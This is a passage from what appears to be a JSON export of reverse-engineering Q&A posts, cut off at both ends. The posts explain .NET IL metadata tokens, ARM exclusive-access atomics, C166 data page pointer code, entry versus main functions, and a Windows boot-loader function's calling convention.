noreferrer\">https://docs.microsoft.com/en-us/windows/win32/memory/virtual-address-space</a></p>\n"
    },
    {
        "Id": "25814",
        "CreationDate": "2020-09-04T14:47:36.487",
        "Body": "<p>I tried googling but couldn't find any good source that explains the structure of memory access instructions like ldstr and call instructions</p>\n<p>for example based on experience, the last byte of API/library call instructions is always 0x0A (let me know if I'm wrong), but why? what are the structure of the 4 bytes of call operands? what about operands of ldstr instructions?</p>\n<p>because they are different from native apps, they are not raw offsets, they seem to be offsets into a table but i cannot find any post that explains this in detail?</p>\n<p>the best thing i found is this :</p>\n<p><a href=\"https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/\" rel=\"nofollow noreferrer\">https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/</a></p>\n<p>but it still doesn't explain many things</p>\n",
        "Title": "Structure of operand bytes in .NET call and data access IL instructions?",
        "Tags": "|ida|windows|malware|.net|",
        "Answer": "<blockquote>\n<p>the last byte of API/library call instructions is always <code>0x0A</code></p>\n</blockquote>\n<p>It's because calls needs to have method (ref) as a parameter and methods are defined in the table that has an id of <code>0x0A</code>.</p>\n<p>Having bytes of the call like this <code>280600000A</code> let's go one by one.</p>\n<ul>\n<li><code>0x28</code> - is the value for opcode 'call' and it takes one operand.</li>\n<li>the rest of the opcode is the metadata token so basically the information which method should be called</li>\n</ul>\n<p>But why <code>0x0A</code> is at the end? It should be read as a little-endian so the value should be <code>0x0A000006</code>. But what are the bytes?</p>\n<p>From <a href=\"https://en.wikipedia.org/wiki/Metadata_(CLI)\" rel=\"nofollow noreferrer\">Wikipedia</a>:</p>\n<blockquote>\n<p>When CIL code uses metadata it does so through a metadata token. This is a 32-bit value where the top 8 bits identify the appropriate metadata table, and the remaining 24 bits give the index of the metadata in the table.</p>\n</blockquote>\n<p>So the first value is the table id - and as I've mentioned the id of member's ref table is value <code>0x0A</code>. And the rest is an index in the table (in our case <code>0x6</code>).</p>\n<p>More about the tables? Those are basically part of .NET metadata information, that can be seen when you open one in i.e. dnSpy</p>\n<p><a href=\"https://i.stack.imgur.com/aYDaS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aYDaS.png\" alt=\"enter image description here\" /></a></p>\n<p>As one can see <code>0x0A</code> is assigned to the <code>MemberRef</code> (containing both methods and fields references)</p>\n<blockquote>\n<p>what about operands of ldstr instructions?</p>\n</blockquote>\n<p>In this instance, the instruction has the following structure <code>72XXXX0070</code> and <code>0x70</code> indicates different stream - namely User defined strings or <code>#US</code>. The rest (again interpreted as a little-ending 32-bit val) is the offset (in bytes) in <code>#US</code> table.</p>\n<p>Generally dnSpy is a great tool to verifying those values as one can metadata tables.</p>\n<p>The linked article (and the whole series is a great resource)  it does explain (I think) the structure but maybe indirectly - just find the information about metadata token.</p>\n<p>We can induce from it the whole structure of a metadata token.</p>\n"
    },
    {
        "Id": "25820",
        "CreationDate": "2020-09-06T02:04:28.940",
        "Body": "<p>I understand the assembly properly. I am just confused about variable 'b' and 'c'. It looks like b is stored at 12(%ebp). I conclude this from <code>cmp 12(%ebp), %eax</code>. If you look at func_8048516, it is adding -0x4(%ebp) which is 'i' and 12(%ebp) which is b. It should translate into <code>a=b+i</code> in the source code but it's <code>a=c+i</code>. Can anyone explain this?</p>\n<p><a href=\"https://i.stack.imgur.com/8AwnV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8AwnV.png\" alt=\"Assembly code\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/czeVX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/czeVX.png\" alt=\"Source code\" /></a></p>\n",
        "Title": "Need help to understand this assembly for fibonacci seq",
        "Tags": "|assembly|",
        "Answer": "<p>compiling this code in <a href=\"https://godbolt.org/z/ncPdKa\" rel=\"nofollow noreferrer\">godbolt.org</a> the c code assembles to mov 16(%ebp),%edx</p>\n<p>which is variable c not b as in your screenshot</p>\n<p><a href=\"https://i.stack.imgur.com/wySPq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wySPq.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "25823",
        "CreationDate": "2020-09-06T11:18:43.537",
        "Body": "<p>Often while disassembling <code>ARM</code> files, I see some code snippet with the following pattern:</p>\n<pre><code>loc_BB30:\n.text:C0 FE 5F 88 LDAXR           WZR, W0, [X22]\n.text:00 04 00 51 SUB             W0, W0, #1\n.text:C0 FE 01 88 STLXR           W1, W0, [X22]\n.text:A1 FF FF 35 CBNZ            W1, loc_BB30\n</code></pre>\n<p>Which is translated to the following decompile code:</p>\n<pre><code>  do\n  {\n    v2 = __ldaxr((unsigned int *)v1);\n    v1 = (unsigned int)(v1 - 1);\n  }\n  while ( __stlxr(v1, v3) );\n</code></pre>\n<p>What is the meaning of this code? What kind of c code actually produces this kind of snippet?</p>\n",
        "Title": "What is the meaning of ARM LDAXR/STLXR instructions?",
        "Tags": "|ida|disassembly|arm|",
        "Answer": "<p>This general pattern of exclusive-access instructions is usually seen when atomic variables are modified.</p>\n<p><strong>C++ Example (C++11 or later)</strong></p>\n<pre><code>  #include &lt;atomic&gt;\n\n  void release( std::atomic&lt;int&gt;&amp; refcount ) {\n      refcount--;\n  }\n</code></pre>\n<p>You can see <a href=\"https://godbolt.org/z/PvTK8o\" rel=\"nofollow noreferrer\">here on godbolt</a> that GCC's ARM64 compilation of the above produces your assembly code.</p>\n<p><strong>C Example (C11)</strong></p>\n<pre><code>#include &lt;stdatomic.h&gt;\n\nvoid release( _Atomic int* refcount ) {\n    (*refcount)--;\n}\n</code></pre>\n<p>Godbolt version <a href=\"https://godbolt.org/z/5ve8c5\" rel=\"nofollow noreferrer\">here</a></p>\n<p><strong>C Example (prior to C11, using GCC built-ins)</strong></p>\n<pre><code>void release( int* refcount ) {\n    __atomic_sub_fetch( refcount, 1, __ATOMIC_ACQ_REL );\n}\n</code></pre>\n<p>Godbolt version <a href=\"https://godbolt.org/z/1687vr\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "25824",
        "CreationDate": "2020-09-06T11:36:13.127",
        "Body": "<p>What the meaning of this code with an explanation?</p>\n<pre><code>sub_37C2:\nmov     r5, r4\nshr     r5, #14\nshl     r5, #1\nmov     r5, [r5+0FE00h] ; DPP0\nbmov    r4.14, r5.0\nbmov    r4.15, r5.1\nshr     r5, #2\nrets\n; End of function sub_37C2\n</code></pre>\n",
        "Title": "The C166 family code meaning",
        "Tags": "|ida|disassembly|memory|static-analysis|c166|",
        "Answer": "<p>Okay, so let's start by converting the first four instructions to rough pseudocode. I'll include the instructions as comments so you can see what each one does.</p>\n<pre><code>r5 = r4;              // mov r5, r4 - Set R5 to equal the value in R4    \nr5 &gt;&gt;= 14;            // shr r5, #14 - Shift R5 14 bits to the right\nr5 &lt;&lt;= 1;             // shl r5, #1 - Shift R5 1 bit to the left\nr5 = *(0xFE00 + r5);  // mov r5, [r5+0FE00h] - Add 0xFE00 to R5, treat the sum as a memory address, and set R5 to equal the 16-bit value at that address.\n</code></pre>\n<p>Notice how r5 is shifted 14 bits to the right, then one to the left. At first glance it may look like this is effectively just a shift to the right by 13 bits, but any bits that are shifted out of the register are lost, and shifting to the left doesn't bring them back. So those first two shifts do add up to a 13 bit shift to the right, except it also clears the least significant bit of r5.</p>\n<p>So the above code fragment can be simplified as follows:</p>\n<pre><code>r5 = r4 &gt;&gt; 13 &amp; ~1\nr5 = *(0xFE00 + r5)\n</code></pre>\n<p>The <code>bmov</code> instruction sets one bit of a register to equal a bit in another register. You can think of it like <code>mov</code>, except it works on single bits instead of entire registers at once. These two lines:</p>\n<pre><code>bmov r4.14, r5.0\nbmov r4.15, r5.1\n</code></pre>\n<p>mean to take bit 0 (the least significant) in r5, and copy it to bit 14 in r4. Then take bit 1 in r5, and copy it to bit 15 (the most significant) in r4. In simpler terms, it sets the two most significant bits of r4 to equal the two least significant bits of r5. Adding that line, as well as the rest of the function, to our pseudocode:</p>\n<pre><code>r5 = r4 &gt;&gt; 13 &amp; ~1;\nr5 = *(0xFE00 + r5);\nr4 = r4 &amp; 0x3FFF | r5 &lt;&lt; 14\nr5 &gt;&gt;= 2;  // shr r5, #2 - Shift R5 2 bits to the right\nreturn;    // rets - Return from a segmented function (that is, a function called using the 'calls' instruction.)\n</code></pre>\n<p>The address 0xFE00, as indicated by the comment in the disassembly, refers to a location known as 'DPP0'. This is a 16-bit register which stores the current &quot;data page pointer&quot;, which control the mapping of 16-bit addresses to a 24-bit physical address space. Importantly, it is followed sequentially by three more 16-bit registers, <code>DPP1</code>-<code>3</code>. So we can think of this like an array which is being indexed, like so:</p>\n<pre><code>volatile uint16_t dpp[4];  // actually located at 0xFE00\nr5 = dpp[r5];              // equivalent to:\n                           //  r5 &lt;&lt;= 1;\n                           //  r5 = *(0xFE00 + r5);\n</code></pre>\n<p><strong>Edit:</strong>\nAccording to the comments(below of this post) I (@Unicornux) converted this piece of code to this :</p>\n<pre><code>uint32_t get_Value(uint16_t _arg)\n{\n    uint32_t Value = 0;\n    volatile uint16_t dpp[4] = {0x302,0x403,0x706,0xA08};\n    uint16_t temp = _arg &gt;&gt; 14;\n    temp = dpp[temp];\n    _arg = (_arg &amp; 0x3FFF) | (temp &lt;&lt; 14);\n    temp &gt;&gt;= 2;\n    Value = (temp &lt;&lt; 16) | (_arg &amp; 0xFFFF);\n    return Value;\n}\n</code></pre>\n<p><strong>Explanation of the function's purpose:</strong> The function accepts a 16-bit address in r4, and determines what 24-bit physical address it represents, using the current values of the DPP registers. It returns this address as a 32-bit number, with the upper word in r5 and the lower word in r4.</p>\n"
    },
    {
        "Id": "25827",
        "CreationDate": "2020-09-07T06:50:08.380",
        "Body": "<p>Sometimes, I see while disassembling a binary that there is the <code>main</code> function. but sometimes, instead of <code>main</code>, there is <code>entry</code> function.\nI want to know what is the difference between <code>entry</code> and <code>main</code>.</p>\n",
        "Title": "Difference between Main and Entry",
        "Tags": "|disassembly|binary-analysis|c|",
        "Answer": "<p>The entry function you mentioned is the function where the entry point of the program is located. This entry function contains the first instructions of the program executed when you run the program.</p>\n<p>The main function recognized by disassemblers is the the function where the main function of the program which code is compiled directly from the the developer's main function code.</p>\n"
    },
    {
        "Id": "25836",
        "CreationDate": "2020-09-08T10:30:50.363",
        "Body": "<p>The disassembly of the function Winload!CmpFindNlsData whose prototype I'm trying to construct</p>\n<pre><code>00893c10 8bff            mov     edi,edi\n00893c12 55              push    ebp\n00893c13 8bec            mov     ebp,esp\n00893c15 83ec40          sub     esp,40h\n00893c18 53              push    ebx\n00893c19 56              push    esi\n00893c1a 57              push    edi\n00893c1b 8d45e0          lea     eax,[ebp-20h]\n00893c1e 8bf1            mov     esi,ecx\n00893c20 50              push    eax\n00893c21 33db            xor     ebx,ebx\n00893c23 8975ec          mov     dword ptr [ebp-14h],esi\n00893c26 83cfff          or      edi,0FFFFFFFFh\n00893c29 895dcc          mov     dword ptr [ebp-34h],ebx\n00893c2c 52              push    edx\n00893c2d 56              push    esi\n00893c2e 897dc8          mov     dword ptr [ebp-38h],edi\n00893c31 897dd0          mov     dword ptr [ebp-30h],edi\n00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx\n00893c37 897de0          mov     dword ptr [ebp-20h],edi\n00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx\n00893c3d 897dc0          mov     dword ptr [ebp-40h],edi\n00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx\n00893c43 895de8          mov     dword ptr [ebp-18h],ebx\n00893c46 ff5604          call    dword ptr [esi+4]\n00893c49 85c0            test    eax,eax\n00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c51 8d4df4          lea     ecx,[ebp-0Ch]\n00893c54 8bd0            mov     edx,eax\n00893c56 51              push    ecx\n00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)\n00893c5c 8bce            mov     ecx,esi\n00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893c63 8d45e0          lea     eax,[ebp-20h]\n00893c66 50              push    eax\n00893c67 56              push    esi\n00893c68 ff5608          call    dword ptr [esi+8]\n00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c74 8d45e0          lea     eax,[ebp-20h]\n00893c77 50              push    eax\n00893c78 ff75f4          push    dword ptr [ebp-0Ch]\n00893c7b 56              push    esi\n00893c7c ff5604          call    dword ptr [esi+4]\n00893c7f 85c0            test    eax,eax\n00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893c87 8d4df4          lea     ecx,[ebp-0Ch]\n00893c8a 8bd0            mov     edx,eax\n00893c8c 51              push    ecx\n00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)\n00893c92 8bce            mov     ecx,esi\n00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893c99 8d45e0          lea     eax,[ebp-20h]\n00893c9c 50              push    eax\n00893c9d 56              push    esi\n00893c9e ff5608          call    dword ptr [esi+8]\n00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893caa 8d45e0          lea     eax,[ebp-20h]\n00893cad 50              push    eax\n00893cae ff75f4          push    dword ptr [ebp-0Ch]\n00893cb1 56              push    esi\n00893cb2 ff5604          call    dword ptr [esi+4]\n00893cb5 85c0            test    eax,eax\n00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893cbd 8d4df4          lea     ecx,[ebp-0Ch]\n00893cc0 8bd0            mov     edx,eax\n00893cc2 51              push    ecx\n00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)\n00893cc8 8bce            mov     ecx,esi\n00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)\n00893ccf 8d45e0          lea     eax,[ebp-20h]\n00893cd2 50              push    eax\n00893cd3 56              push    esi\n00893cd4 ff5608          call    dword ptr [esi+8]\n00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi\n00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893ce0 8d45e0          lea     eax,[ebp-20h]\n00893ce3 50              push    eax\n00893ce4 ff75f4          push    dword ptr [ebp-0Ch]\n00893ce7 56              push    esi\n00893ce8 ff5604          call    dword ptr [esi+4]\n00893ceb 85c0            test    eax,eax\n00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)\n00893cf8 8bd0            mov     edx,eax\n00893cfa 8bce            mov     ecx,esi\n00893cfc e885330000      call    winload!CmpFindValueByName (00897086)\n00893d01 8bf8            mov     edi,eax\n00893d03 8d45e0          lea     eax,[ebp-20h]\n00893d06 50              push    eax\n00893d07 56              push    esi\n00893d08 ff5608          call    dword ptr [esi+8]\n00893d0b 83ffff          cmp     edi,0FFFFFFFFh\n00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d14 8d45d0          lea     eax,[ebp-30h]\n00893d17 50              push    eax\n00893d18 57              push    edi\n00893d19 56              push    esi\n00893d1a ff5604          call    dword ptr [esi+4]\n00893d1d 85c0            test    eax,eax\n00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d25 8d4dc8          lea     ecx,[ebp-38h]\n00893d28 8bd7            mov     edx,edi\n00893d2a 51              push    ecx\n00893d2b 8d4df8          lea     ecx,[ebp-8]\n00893d2e 51              push    ecx\n00893d2f 50              push    eax\n00893d30 8bce            mov     ecx,esi\n00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)\n00893d37 8bf8            mov     edi,eax\n00893d39 8d45d0          lea     eax,[ebp-30h]\n00893d3c 50              push    eax\n00893d3d 56              push    esi\n00893d3e 897ddc          mov     dword ptr [ebp-24h],edi\n00893d41 ff5608          call    dword ptr [esi+8]\n00893d44 85ff            test    edi,edi\n00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893d48 8b55f8          mov     edx,dword ptr [ebp-8]\n00893d4b 33c9            xor     ecx,ecx\n00893d4d 33c0            xor     eax,eax\n00893d4f 668955da        mov     word ptr [ebp-26h],dx\n00893d53 66894dd8        mov     word ptr [ebp-28h],cx\n00893d57 c745f002000000  mov     dword ptr [ebp-10h],2\n00893d5e 663bc2          cmp     ax,dx\n00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)\n00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]\n00893d66 0fb7c1          movzx   eax,cx\n00893d69 d1e8            shr     eax,1\n00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx\n00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)\n00893d71 6603ce          add     cx,si\n00893d74 66894dd8        mov     word ptr [ebp-28h],cx\n00893d78 663bca          cmp     cx,dx\n00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)\n00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]\n00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]\n00893d83 6a36            push    36h\n00893d85 58              pop     eax\n00893d86 663907          cmp     word ptr [edi],ax\n00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)\n00893d8b c745e801000000  mov     dword ptr [ebp-18h],1\n00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)\n00893d97 8d45e0          lea     eax,[ebp-20h]\n00893d9a 50              push    eax\n00893d9b ff75f4          push    dword ptr [ebp-0Ch]\n00893d9e 56              push    esi\n00893d9f ff5604          call    dword ptr [esi+4]\n00893da2 85c0            test    eax,eax\n00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)\n00893da6 8d45c8          lea     eax,[ebp-38h]\n00893da9 50              push    eax\n00893daa 56              push    esi\n00893dab ff5608          call    dword ptr [esi+8]\n00893dae 32c0            xor     al,al\n00893db0 5f              pop     edi\n00893db1 5e              pop     esi\n00893db2 5b              pop     ebx\n00893db3 8be5            mov     esp,ebp\n00893db5 5d              pop     ebp\n00893db6 c20c00          ret     0Ch\n00893db9 8d4dd8          lea     ecx,[ebp-28h]\n00893dbc 8bd0            mov     edx,eax\n00893dbe 51              push    ecx\n00893dbf 8bce            mov     ecx,esi\n00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)\n00893dc6 8bf8            mov     edi,eax\n00893dc8 8d45c8          lea     eax,[ebp-38h]\n00893dcb 50              push    eax\n00893dcc 56              push    esi\n00893dcd ff5608          call    dword ptr [esi+8]\n00893dd0 33c0            xor     eax,eax\n00893dd2 8945dc          mov     dword ptr [ebp-24h],eax\n00893dd5 8d45e0          lea     eax,[ebp-20h]\n00893dd8 50              push    eax\n00893dd9 56              push    esi\n00893dda ff5608          call    dword ptr [esi+8]\n00893ddd 83ffff          cmp     edi,0FFFFFFFFh\n00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893de2 8d45d0          lea     eax,[ebp-30h]\n00893de5 50              push    eax\n00893de6 57              push    edi\n00893de7 56              push    esi\n00893de8 ff5604          call    dword ptr [esi+4]\n00893deb 85c0            test    eax,eax\n00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893def 8d4dc0          lea     ecx,[ebp-40h]\n00893df2 8bd7            mov     edx,edi\n00893df4 51              push    ecx\n00893df5 8d4df8          lea     ecx,[ebp-8]\n00893df8 51              push    ecx\n00893df9 50              push    eax\n00893dfa 8bce            mov     ecx,esi\n00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)\n00893e01 894304          mov     dword ptr [ebx+4],eax\n00893e04 85c0            test    eax,eax\n00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)\n00893e08 8d45c0          lea     eax,[ebp-40h]\n00893e0b 50              push    eax\n00893e0c 56              push    esi\n00893e0d ff5608          call    dword ptr [esi+8]\n00893e10 8d45d0          lea     eax,[ebp-30h]\n00893e13 50              push    eax\n00893e14 56              push    esi\n00893e15 ff5608          call    dword ptr [esi+8]\n00893e18 33c0            xor     eax,eax\n00893e1a 394304          cmp     dword ptr [ebx+4],eax\n00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]\n00893e22 66894302        mov     word ptr [ebx+2],ax\n00893e26 668903          mov     word ptr [ebx],ax\n00893e29 8d45e0          lea     eax,[ebp-20h]\n00893e2c 50              push    eax\n00893e2d ff75f4          push    dword ptr [ebp-0Ch]\n00893e30 56              push    esi\n00893e31 ff5604          call    dword ptr [esi+4]\n00893e34 85c0            test    eax,eax\n00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)\n00893e41 8bd0            mov     edx,eax\n00893e43 8bce            mov     ecx,esi\n00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)\n00893e4a 8bf8            mov     edi,eax\n00893e4c 8d45e0          lea     eax,[ebp-20h]\n00893e4f 50              push    eax\n00893e50 56              push    esi\n00893e51 ff5608          call    dword ptr [esi+8]\n00893e54 83ffff          cmp     edi,0FFFFFFFFh\n00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e5d 8d45d0          lea     eax,[ebp-30h]\n00893e60 50              push    eax\n00893e61 57              push    edi\n00893e62 56              push    esi\n00893e63 ff5604          call    dword ptr [esi+4]\n00893e66 85c0            test    eax,eax\n00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e6e 8d4dc8          lea     ecx,[ebp-38h]\n00893e71 8bd7            mov     edx,edi\n00893e73 51              push    ecx\n00893e74 8d4df8          lea     ecx,[ebp-8]\n00893e77 51              push    ecx\n00893e78 50              push    eax\n00893e79 8bce            mov     ecx,esi\n00893e7b e87e330000      call    winload!CmpValueToData (008971fe)\n00893e80 8bf8            mov     edi,eax\n00893e82 8d45d0          lea     eax,[ebp-30h]\n00893e85 50              push    eax\n00893e86 56              push    esi\n00893e87 897ddc          mov     dword ptr [ebp-24h],edi\n00893e8a ff5608          call    dword ptr [esi+8]\n00893e8d 85ff            test    edi,edi\n00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893e95 8b55f8          mov     edx,dword ptr [ebp-8]\n00893e98 33c9            xor     ecx,ecx\n00893e9a 33c0            xor     eax,eax\n00893e9c 668955da        mov     word ptr [ebp-26h],dx\n00893ea0 66894dd8        mov     word ptr [ebp-28h],cx\n00893ea4 663bc2          cmp     ax,dx\n00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)\n00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]\n00893eac 33db            xor     ebx,ebx\n00893eae 0fb7c1          movzx   eax,cx\n00893eb1 d1e8            shr     eax,1\n00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx\n00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)\n00893eb9 6603ce          add     cx,si\n00893ebc 66894dd8        mov     word ptr [ebp-28h],cx\n00893ec0 663bca          cmp     cx,dx\n00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)\n00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]\n00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]\n00893ecb 6a36            push    36h\n00893ecd 58              pop     eax\n00893ece 663907          cmp     word ptr [edi],ax\n00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]\n00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)\n00893eda 8d45e0          lea     eax,[ebp-20h]\n00893edd 50              push    eax\n00893ede ff75f4          push    dword ptr [ebp-0Ch]\n00893ee1 56              push    esi\n00893ee2 ff5604          call    dword ptr [esi+4]\n00893ee5 85c0            test    eax,eax\n00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)\n00893eed 8d4dd8          lea     ecx,[ebp-28h]\n00893ef0 8bd0            mov     edx,eax\n00893ef2 51              push    ecx\n00893ef3 8bce            mov     ecx,esi\n00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)\n00893efa 894508          mov     dword ptr [ebp+8],eax\n00893efd 8d45c8          lea     eax,[ebp-38h]\n00893f00 50              push    eax\n00893f01 56              push    esi\n00893f02 ff5608          call    dword ptr [esi+8]\n00893f05 8d45e0          lea     eax,[ebp-20h]\n00893f08 50              push    eax\n00893f09 56              push    esi\n00893f0a ff5608          call    dword ptr [esi+8]\n00893f0d 8b4508          mov     eax,dword ptr [ebp+8]\n00893f10 83f8ff          cmp     eax,0FFFFFFFFh\n00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f19 8d4dd0          lea     ecx,[ebp-30h]\n00893f1c 51              push    ecx\n00893f1d 50              push    eax\n00893f1e 56              push    esi\n00893f1f ff5604          call    dword ptr [esi+4]\n00893f22 85c0            test    eax,eax\n00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f2a 8b5508          mov     edx,dword ptr [ebp+8]\n00893f2d 8d4dc0          lea     ecx,[ebp-40h]\n00893f30 51              push    ecx\n00893f31 8d4df8          lea     ecx,[ebp-8]\n00893f34 51              push    ecx\n00893f35 50              push    eax\n00893f36 8bce            mov     ecx,esi\n00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)\n00893f3d 894704          mov     dword ptr [edi+4],eax\n00893f40 85c0            test    eax,eax\n00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)\n00893f44 8d45c0          lea     eax,[ebp-40h]\n00893f47 50              push    eax\n00893f48 56              push    esi\n00893f49 ff5608          call    dword ptr [esi+8]\n00893f4c 8d45d0          lea     eax,[ebp-30h]\n00893f4f 50              push    eax\n00893f50 56              push    esi\n00893f51 ff5608          call    dword ptr [esi+8]\n00893f54 33c9            xor     ecx,ecx\n00893f56 394f04          cmp     dword ptr [edi+4],ecx\n00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)\n00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]\n00893f62 66894702        mov     word ptr [edi+2],ax\n00893f66 668907          mov     word ptr [edi],ax\n00893f69 394de8          cmp     dword ptr [ebp-18h],ecx\n00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)\n00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)\n00893f70 33c9            xor     ecx,ecx\n00893f72 33c0            xor     eax,eax\n00893f74 894b04          mov     dword ptr [ebx+4],ecx\n00893f77 668903          mov     word ptr [ebx],ax\n00893f7a 894f04          mov     dword ptr [edi+4],ecx\n00893f7d 668907          mov     word ptr [edi],ax\n00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]\n00893f83 b001            mov     al,1\n00893f85 6a14            push    14h\n00893f87 5a              pop     edx\n00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)\n00893f8f 66895102        mov     word ptr [ecx+2],dx\n00893f93 668911          mov     word ptr [ecx],dx\n00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)\n00893f9b cc              int     3```\n</code></pre>\n",
        "Title": "How to find if a function is using registers as parameters?",
        "Tags": "|disassembly|assembly|register|",
        "Answer": "<p>ok  it is _fastCall<br />\nso this function takes 5 arguments<br />\n2 in registers ecx,edx 3 in stack 8,12,16<br />\nand As I Commented edx is used as an argument to the First Indirect call [esi+4]</p>\n<p>copy pasted the disassembly to notepad++\nused the column editor to rip out the bytes from the paste<br />\npasted the bytes in hxd to make a bin</p>\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  8B FF 55 8B EC 83 EC 40 53 56 57 8D 45 E0 8B F1  \u2039\u00ffU\u2039\u00ec\u0192\u00ec@SVW.E\u00e0\u2039\u00f1\n00000010  50 33 DB 89 75 EC 83 CF FF 89 5D CC 52 56 89 7D  P3\u00db\u2030u\u00ec\u0192\u00cf\u00ff\u2030]\u00ccRV\u2030}\n00000020  C8 89 7D D0 89 5D D4 89 7D E0 89 5D E4 89 7D C0  \u00c8\u2030}\u00d0\u2030]\u00d4\u2030}\u00e0\u2030]\u00e4\u2030}\u00c0\n00000030  89 5D C4 89 5D E8 FF 56 04 85 C0 0F 84 5D 01 00  \u2030]\u00c4\u2030]\u00e8\u00ffV.\u2026\u00c0.\u201e]..\n00000040  00 8D 4D F4 8B D0 51 68 B8 20 8E 00 8B CE E8 69  ..M\u00f4\u2039\u00d0Qh\u00b8 \u017d.\u2039\u00ce\u00e8i\n00000050  51 00 00 8D 45 E0 50 56 FF 56 08 39 7D F4 0F 84  Q...E\u00e0PV\u00ffV.9}\u00f4.\u201e\n00000060  3A 01 00 00 8D 45 E0 50 FF 75 F4 56 FF 56 04 85  :....E\u00e0P\u00ffu\u00f4V\u00ffV.\u2026\n00000070  C0 0F 84 27 01 00 00 8D 4D F4 8B D0 51 68 F8 20  \u00c0.\u201e'....M\u00f4\u2039\u00d0Qh\u00f8 \n00000080  8E 00 8B CE E8 33 51 00 00 8D 45 E0 50 56 FF 56  \u017d.\u2039\u00ce\u00e83Q...E\u00e0PV\u00ffV\n00000090  08 39 7D F4 0F 84 04 01 00 00 8D 45 E0 50 FF 75  .9}\u00f4.\u201e.....E\u00e0P\u00ffu\n000000A0  F4 56 FF 56 04 85 C0 0F 84 F1 00 00 00 8D 4D F4  \u00f4V\u00ffV.\u2026\u00c0.\u201e\u00f1....M\u00f4\n000000B0  8B D0 51 68 